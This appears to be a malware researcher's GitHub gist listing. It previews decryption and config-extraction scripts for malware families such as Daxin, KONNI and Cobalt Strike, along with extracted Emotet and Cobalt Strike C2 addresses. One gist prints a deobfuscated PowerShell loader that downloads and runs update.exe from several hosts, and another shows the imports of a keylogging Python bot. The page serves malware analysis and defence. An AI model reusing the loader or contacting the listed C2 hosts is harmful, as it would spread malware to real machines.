usualsuspect’s gists

usualsuspect / parse_instructions.py

Created August 15, 2020 01:07

Parser for Cobalt Strike's Malleable C2 config item

	#!/usr/bin/env python3
	# Cobalt Strike Malleable C2 instruction parser
	import struct
	import sys

	def read_int(f):
	data = f.read(4)
	if not data:
	return None
	return struct.unpack(">I",data)[0]

usualsuspect / gist:80a0ded0475b6798894a0114b29d7545

Created November 15, 2021 23:23

New Emotet CnCs for sample c7574...

	81.0.236.93:443
	94.177.248.64:443
	66.42.55.5:7080
	103.8.26.103:8080
	185.184.25.237:8080
	45.76.176.10:8080
	188.93.125.116:8080
	103.8.26.102:8080
	178.79.147.66:8080
	58.227.42.236:80

usualsuspect / daxin_decrypt_embedded.py

Created March 1, 2022 13:17

Code to decrypt embedded driver in Daxin malware sample

	#!/usr/bin/env python3

	#
	# Algorithm used by Daxin to decrypt embedded driver
	# Uses slightly modified RC4 (see comment in rc4() below)
	#
	# Constants fitting for sample
	# b0eb4d999e4e0e7c2e33ff081e847c87b49940eb24a9e0794c6aa9516832c427
	#

usualsuspect / deob_unk_loader.ps1

Created March 15, 2022 13:22

Deobfuscated PS script, unknown maldoc

$ErrorActionPreference='SilentlyContinue';@("https://web.sunvn.net","https://taisunwin.club","https://web.sunwinvn.vip","http://b29.bet","https://playgo88.fun","https://choigo88.us")|%{$http=[System.Net.WebRequest]::Create("$_/SoftwareUpdate.exe").GetResponse();if($http.ContentLength -ne -1){(New-Object System.Net.WebClient).DownloadFile("$_/update.exe","$env:temp\update.exe");Start-Process -Filepath "$env:temp\update.exe"};$http.close()}

usualsuspect / cs_rebound_infotech_config.txt

Created April 21, 2022 12:26

Rebound Infotech Limited Cobalt Strike Config

	BeaconType - Hybrid HTTP DNS
	Port - 1
	SleepTime - 3787
	MaxGetSize - 1864474
	Jitter - 59
	MaxDNS - 255
	PublicKey_MD5 - 832667e06ab05f34cef55ad209504a2b
	C2Server - ns1.standwithukraine.space,/jp,dns.standwithukraine.space,/jp,ns1.costacancordia.com,/jp,dns.costacancordia.com,/jp
	UserAgent - Not Found
	HttpPostUri - Not Found

usualsuspect / cs_config.txt

Created June 17, 2022 09:13

Cobalt Strike config for beacon dropped by Matanbuchus

	BeaconType - HTTPS
	Port - 443
	SleepTime - 53605
	MaxGetSize - 1398447
	Jitter - 63
	MaxDNS - Not Found
	PublicKey_MD5 - d625126bd4d7cf421d2d001fc29c7ce2
	C2Server - 190.123.44.220,/thaw.txt
	UserAgent - Mozilla/5.0 (Linux; Android 9; ONEPLUS A3003) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36
	HttpPostUri - /shorten

usualsuspect / extract_remotedllloader_archive.py

Last active June 21, 2022 14:50

Extract xor-encrypted archives from docx files as used by RemoteDllLoader in SVCReady execution chains

	#!/usr/bin/env python3

	#
	# Author: @jaydinbas
	#
	# Extract xor-encrypted archives from docx files as used by
	# RemoteDllLoader in SVCReady execution chains
	#

	import sys

usualsuspect / knotweed_config_extractor.py

Last active February 5, 2023 18:36

Config extractor for Jumplump malware family from the Knotweed report

	#!/usr/bin/env python3
	#
	# Author: @jaydinbas
	#
	# Extract config from Knotweed Jumplump samples
	# Note: Not all samples tagged as 'Jumplump' in the MS report
	# contain a config, some just load other samples that do
	#
	# Works for
	# cbae79f66f724e0fe1705d6b5db3cc8a4e89f6bdf4c37004aa1d45eeab26e84b

usualsuspect / main.py

Created August 4, 2022 17:58

Undentified Python bot

	import subprocess, socketio
	from enum import Enum
	import requests
	from time import sleep
	from PIL import ImageGrab
	import os
	from datetime import datetime, timedelta
	from pynput.keyboard import Listener
	allowed_methods = {
	'get','post','put','options','delete','patch','head'}

usualsuspect / konni_decrypt.py

Created September 9, 2022 21:30

KONNI blob decrypter

	#!/usr/bin/env python3

	#
	# Author: @jaydinbas
	#
	# Decrypt string blobs and files used by KONNI malware
	#
	# Reference sample: 158f5228225d9337083c323b45a63e70297ed9c8ecb8517dc1d8cb64f29acf5d
	# via https://twitter.com/ShadowChasing1/status/1568064494982823937
	#